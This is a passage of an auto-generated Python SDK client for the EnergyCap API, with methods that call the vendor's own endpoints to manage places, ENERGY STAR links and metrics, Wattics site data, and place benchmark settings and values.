body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_group_membership.metadata = {'url': '/api/v3/place/{placeId}/group'}
def get_energy_projects_for_place(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all Energy Projects for a particular place by placeId. For
organizations it will be the rollup of its children's energy projects.
:param place_id: The place identifier for which energy projects are
being retrieved
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyProjectResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_projects_for_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyProjectResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_projects_for_place.metadata = {'url': '/api/v3/place/{placeId}/project'}
def move_place(
self, parent_place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Move list of places to be under parentPlaceId.
:param parent_place_id: The identifier for the new parent place
:type parent_place_id: int
:param body: List of placeIds to move under the parentPlaceId
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_place.metadata['url']
path_format_arguments = {
'parentPlaceId': self._serialize.url("parent_place_id", parent_place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
move_place.metadata = {'url': '/api/v3/parentPlace/{parentPlaceId}/place'}
def get_energy_star_place_link(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Get the ENERGY STAR linking information for this place and its meters.
PmPropertyId and PmMeterId will be null if no link yet exists.
:param place_id: The place identifier
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPlaceLinkResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarPlaceLinkResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_place_link.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPlaceLinkResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_place_link.metadata = {'url': '/api/v3/place/{placeId}/energyStar/link'}
def edit_energy_star_place_link(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the ENERGY STAR linking information for this place and its meters.
Set PmPropertyId/PmMeterId to null to unlink a property/meter.
Set PmMeterId to -1 to auto-create a new meter.
:param place_id: The place identifier
:type place_id: int
:param body: Data representing the place link being edited
:type body: ~energycap.sdk.models.EnergyStarPlaceLinkRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPlaceLinkResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarPlaceLinkResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_energy_star_place_link.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyStarPlaceLinkRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPlaceLinkResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_energy_star_place_link.metadata = {'url': '/api/v3/place/{placeId}/energyStar/link'}
def get_energy_star_place_hierarchy(
self, place_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get this place's ENERGY STAR child places.
:param place_id: The place identifier
:type place_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyStarPlaceHierarchyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_place_hierarchy.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarPlaceHierarchyResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_place_hierarchy.metadata = {'url': '/api/v3/place/{placeId}/energyStar/hierarchy'}
def get_energy_star_place(
self, place_id, verbose=True, custom_headers=None, raw=False, **operation_config):
"""Get the ENERGY STAR info for a place.
:param place_id: The place identifier
:type place_id: int
:param verbose: true by default.
When set to false the API will perform faster but will only retrieve
PmPropertyId and PmPropertyName from Portfolio Manager.
PmPropertyUseType, PmFloorArea, PmFloorAreaUnits will be null.
:type verbose: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPmProperty or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarPmProperty or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if verbose is not None:
query_parameters['verbose'] = self._serialize.query("verbose", verbose, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPmProperty', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_place.metadata = {'url': '/api/v3/place/{placeId}/energyStar'}
def get_energy_star_place_metrics(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Get the ENERGY STAR metrics for a place.
:param place_id: The place identifier
:type place_id: int
:param number_of_years: The number of years to go back from most
recent score. Defaults to 2 years. If 0 is provided, will only include
current score.
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPlaceHierarchyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.EnergyStarPlaceHierarchyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_place_metrics.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int', maximum=2147483647, minimum=0)
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPlaceHierarchyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_place_metrics.metadata = {'url': '/api/v3/place/{placeId}/energyStar/metrics'}
def edit_wattics_site_link(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit wattics data on a place.
:param place_id: The place identifier for the place to edit
:type place_id: int
:param body: Wattics data to assign to the place
:type body: ~energycap.sdk.models.WatticsSiteRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: object or ClientRawResponse if raw=true
:rtype: object or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_wattics_site_link.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WatticsSiteRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WatticsSite', response)
if response.status_code == 204:
deserialized = self._deserialize('OkObjectResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_wattics_site_link.metadata = {'url': '/api/v202302/place/{placeId}/watticsSite'}
def unlink_places_and_child_meters_from_energy_star(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Unlink a list of places and their child meters from ENERGY STAR.
:param body: List of place identifiers to unlink from ENERGY STAR
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.unlink_places_and_child_meters_from_energy_star.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
unlink_places_and_child_meters_from_energy_star.metadata = {'url': '/api/v202110/place/energyStar/unlink'}
def update_energy_star_submission_type(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a list of places to be submitted to ENERGY STAR manually or
automatically.
:param body: The list of places to update, as well as the submission
type to set
:type body: ~energycap.sdk.models.PlaceSubmissionTypeRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_energy_star_submission_type.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceSubmissionTypeRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_energy_star_submission_type.metadata = {'url': '/api/v202110/place/energyStar/submissionType'}
def download_place_custom_field_file(
self, place_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a place custom field.
:param place_id:
:type place_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_place_custom_field_file.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_place_custom_field_file.metadata = {'url': '/api/v202105/place/{placeId}/udf/{udfId}/download'}
def get_place_benchmark_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get all the place benchmark names and categories for the owner.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_benchmark_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_benchmark_settings.metadata = {'url': '/api/v3/placeBenchmark/setting'}
def edit_place_benchmark_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""The user can edit the category and name for each benchmark
If a benchmark has not been configured, it is configured
User cannot delete a benchmark from this endpoint
If the benchmark dto is null or not passed the API will ignore it
If the benchmark dto is not null, the category and name are required.
:param body: Dto containing what to edit on benchmark
:type body: ~energycap.sdk.models.BenchmarkSettingsEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_benchmark_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BenchmarkSettingsEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_benchmark_settings.metadata = {'url': '/api/v3/placeBenchmark/setting'}
def delete_place_benchmark_setting(
self, benchmark_indicator, custom_headers=None, raw=False, **operation_config):
"""Delete the settings for the place benchmark defined by the
benchmarkIndicator.
Deletes all corresponding place benchmark values that were defined for
that indicator.
Updates user-defined autogroup membership for groups that contained
filters for that indicator.
:param benchmark_indicator: Indicator for the benchmark
:type benchmark_indicator: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place_benchmark_setting.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place_benchmark_setting.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/setting'}
def get_place_benchmark_categories(
self, custom_headers=None, raw=False, **operation_config):
"""Get all place benchmark categories in the database.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BenchmarkCategoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_benchmark_categories.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BenchmarkCategoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_benchmark_categories.metadata = {'url': '/api/v3/placeBenchmark/category'}
def edit_place_benchmark_values(
self, benchmark_indicator, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit all values for a benchmark factor on a place.
:param benchmark_indicator: Indicator for the benchmark
:type benchmark_indicator: int
:param place_id:
:type place_id: int
:param body:
:type body: list[~energycap.sdk.models.BenchmarkValueRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkValuesResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkValuesResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_benchmark_values.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[BenchmarkValueRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkValuesResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_benchmark_values.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/place/{placeId}'}
def get_benchmark_values(
self, benchmark_indicator, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves benchmark values for a place.
:param benchmark_indicator: Indicator for the benchmark
:type benchmark_indicator: int
:param place_id: Identifier for the place
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkValuesResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkValuesResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_benchmark_values.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkValuesResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_benchmark_values.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/place/{placeId}/benchmarkValue'}
def create_place_benchmark_value(
self, benchmark_indicator, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a place benchmark value
If a preceding benchmark value exists, the preceding record's end date
will be changed to match the created records begin date
If a succeeding benchmark value exists, the created record's end date
will match the succeeding benchmarks begin date.
:param benchmark_indicator: Indicator for the benchmark, can be 1, 2,
or 3
:type benchmark_indicator: int
:param place_id: The place that the benchmark is on
:type place_id: int
:param body: The new begin date and value for the benchmark
:type body: ~energycap.sdk.models.BenchmarkValueRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkValuesResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkValuesResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place_benchmark_value.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BenchmarkValueRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkValuesResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place_benchmark_value.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/place/{placeId}/benchmarkValue'}
def delete_benchmark_value(
self, benchmark_indicator, place_id, place_benchmark_id, custom_headers=None, raw=False, **operation_config):
"""Delete a single benchmark value.
If a preceding benchmark value exists, the preceding record’s end date
will be changed to prevent any gaps in benchmark values.
:param benchmark_indicator: Indicator for the benchmark
:type benchmark_indicator: int
:param place_id: Indicator for the place
:type place_id: int
:param place_benchmark_id: Indicator for the individual benchmark
value
:type place_benchmark_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_benchmark_value.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int'),
'placeBenchmarkId': self._serialize.url("place_benchmark_id", place_benchmark_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_benchmark_value.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/place/{placeId}/benchmarkValue/{placeBenchmarkId}'}
def update_place_benchmark_value(
self, benchmark_indicator, place_id, place_benchmark_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates a place benchmark value
If the begin date is being modified, the following will happen:
* Records that now precede and previously preceded this benchmark will
have their end dates modified to prevent gaps in benchmarks
* If a succeeding benchmark value exists for the new begin date, the
end date will be modified to match the succeeding benchmarks end date.
:param benchmark_indicator: Indicator for the benchmark, can be 1, 2,
or 3
:type benchmark_indicator: int
:param place_id: The place that the benchmark is on
:type place_id: int
:param place_benchmark_id: The identifier for the benchmark being
updated
:type place_benchmark_id: int
:param body: The new begin date and value for the benchmark
:type body: ~energycap.sdk.models.BenchmarkValueRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BenchmarkValuesResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BenchmarkValuesResponse or
~msrest.pipeline.ClientRawResponse
:raises:
